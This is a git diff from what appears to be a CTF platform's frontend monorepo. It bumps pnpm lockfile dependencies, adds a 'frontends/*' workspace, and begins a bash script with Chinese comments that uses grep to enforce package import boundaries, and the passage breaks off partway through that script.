hsluv@1.0.1: {} @@ -5613,7 +5501,7 @@ snapshots: '@types/unist': 2.0.11 character-entities-legacy: 3.0.0 character-reference-invalid: 2.0.1 - decode-named-character-reference: 1.2.0 + decode-named-character-reference: 1.3.0 is-alphanumerical: 2.0.1 is-decimal: 2.0.1 is-hexadecimal: 2.0.1 @@ -5738,7 +5626,7 @@ snapshots: dependencies: '@types/use-sync-external-store': 0.0.6 react: 19.2.6 - use-sync-external-store: 1.5.0(react@19.2.6) + use-sync-external-store: 1.6.0(react@19.2.6) optionalDependencies: '@types/react': 19.2.14 redux: 5.0.1 @@ -5751,21 +5639,21 @@ snapshots: dependencies: picomatch: 2.3.1 - recharts@3.8.1(@types/react@19.2.14)(react-dom@19.2.6(react@19.2.6))(react-is@17.0.2)(react@19.2.6)(redux@5.0.1): + recharts@3.8.1(@types/react@19.2.14)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.8)(react@19.2.6)(redux@5.0.1): dependencies: '@reduxjs/toolkit': 2.9.0(react-redux@9.2.0(@types/react@19.2.14)(react@19.2.6)(redux@5.0.1))(react@19.2.6) clsx: 2.1.1 decimal.js-light: 2.5.1 - es-toolkit: 1.39.10 + es-toolkit: 1.46.1 eventemitter3: 5.0.1 immer: 10.1.3 react: 19.2.6 react-dom: 19.2.6(react@19.2.6) - react-is: 17.0.2 + react-is: 19.2.8 react-redux: 9.2.0(@types/react@19.2.14)(react@19.2.6)(redux@5.0.1) reselect: 5.1.1 tiny-invariant: 1.3.3 - use-sync-external-store: 1.5.0(react@19.2.6) + use-sync-external-store: 1.6.0(react@19.2.6) victory-vendor: 37.3.6 transitivePeerDependencies: - '@types/react' @@ -5777,13 +5665,6 @@ snapshots: redux@5.0.1: {} - refractor@4.9.0: - dependencies: - '@types/hast': 2.3.10 - '@types/prismjs': 1.26.5 - hastscript: 7.2.0 - parse-entities: 4.0.2 - refractor@5.0.0: dependencies: '@types/hast': 3.0.4 @@ -5817,15 +5698,6 @@ snapshots: hast-util-from-html: 2.0.3 unified: 11.0.5 - rehype-prism-plus@2.0.1: - dependencies: - hast-util-to-string: 3.0.1 - parse-numeric-range: 1.3.0 - refractor: 4.9.0 - rehype-parse: 9.0.1 - unist-util-filter: 5.0.1 - unist-util-visit: 5.0.0 - rehype-prism-plus@2.0.2: dependencies: hast-util-to-string: 3.0.1 @@ -5845,7 +5717,7 @@ snapshots: dependencies: hast-util-select: 6.0.4 unified: 11.0.5 - unist-util-visit: 5.0.0 + unist-util-visit: 5.1.0 rehype-slug@6.0.0: dependencies: @@ -6171,10 +6043,6 @@ snapshots: escalade: 3.2.0 picocolors: 1.1.1 - use-sync-external-store@1.5.0(react@19.2.6): - dependencies: - react: 19.2.6 - use-sync-external-store@1.6.0(react@19.2.6): dependencies: react: 19.2.6 diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index 764b1c08..c0632ac9 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -1,6 +1,7 @@ packages: - "apps/web" - "packages/*" + - "frontends/*" allowBuilds: "@biomejs/biome": true diff --git a/scripts/check-architecture.sh b/scripts/check-architecture.sh new file mode 100755 index 00000000..eb4bfc9b --- /dev/null +++ b/scripts/check-architecture.sh @@ -0,0 +1,262 @@ +#!/usr/bin/env bash +# +# FloatCTF 前端平台架构边界守卫(docs/frontend/ARCHITECTURE.md)。 +# +# 这些边界的意义:一旦破防,可插拔前端就退化成"同一个仓库里的一堆页面"—— +# 外部仓库无法独立构建、非 React 前端被迫下载 Primer、bootstrap 悄悄把默认前端 +# 打进产物。文字约定靠不住,所以这里做成**失败即红**的门禁。 +# +# 规则(全部为"存在即违规",无例外): +# 1. @floatctf/sdk 不得依赖 React / 路由 / 状态库 / Primer / 应用层 +# 2. @floatctf/react 不得包含 UI(Primer / Tailwind / CSS / 路由 / 页面) +# 3. @floatctf/frontend-runtime 不得依赖任何 UI 框架 +# 4. frontends/default 不得 import apps/web 或逃出自身包的仓库路径 +# 5. apps/web (bootstrap) 不得 import frontends/default(生产产物必须纯净) +# 6. packages/* 不得 import 任何 app/frontend +# 7. 后端 API_CONTRACT_VERSION 必须与前端运行时的 API 契约一致 +# 8. SDK 不得有模块级可变传输绑定(客户端必须实例隔离) +# 9. @floatctf/react 的实时 hook 不得硬编码 "/api/" 等站点路径 +# 10. 前端管理器的公开注册表 schema 与制品 schema 是两个独立常量,且不写安装来源 +# +# 用法:scripts/check-architecture.sh +set -Eeuo pipefail + +REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +cd "$REPO_ROOT" + +FAIL=0 + +info() { printf '[check-architecture] %s\n' "$*"; } +fail() { printf '[check-architecture] FAIL: %s\n' "$*" >&2; FAIL=1; } + +# 依赖存在性断言:路径漂移必须报错,绝不静默放行。 +require_dir() { + [ -d "$1" ] || fail "expected directory missing: $1(守卫会静默失效,必须修)" +} +require_file() { + [ -f "$1" ] || fail "expected file missing: $1" +} + +require_dir packages/sdk/src +require_dir packages/react/src +require_dir packages/frontend-runtime/src +require_dir apps/web/src +require_dir frontends/default/src +require_file apps/api/src/core/contract.rs + +# 只检查非注释行:注释里提到某个包名不算违规。 +code_only() { grep -vE '^[[:space:]]*(//|/\*|\*|\*/)'; } + +# matches_imports +matches_imports() { + local dir="$1" pattern="$2" + grep -rnE --include='*.ts' --include='*.tsx' --include='*.css' \ + "from \"${pattern}\"|import\\(\"${pattern}\"|@import[[:space:]]+\"${pattern}" \ + "$dir" 2>/dev/null | grep -v '/dist/' | grep -v '/node_modules/' | code_only || true +} + +check_forbidden() { #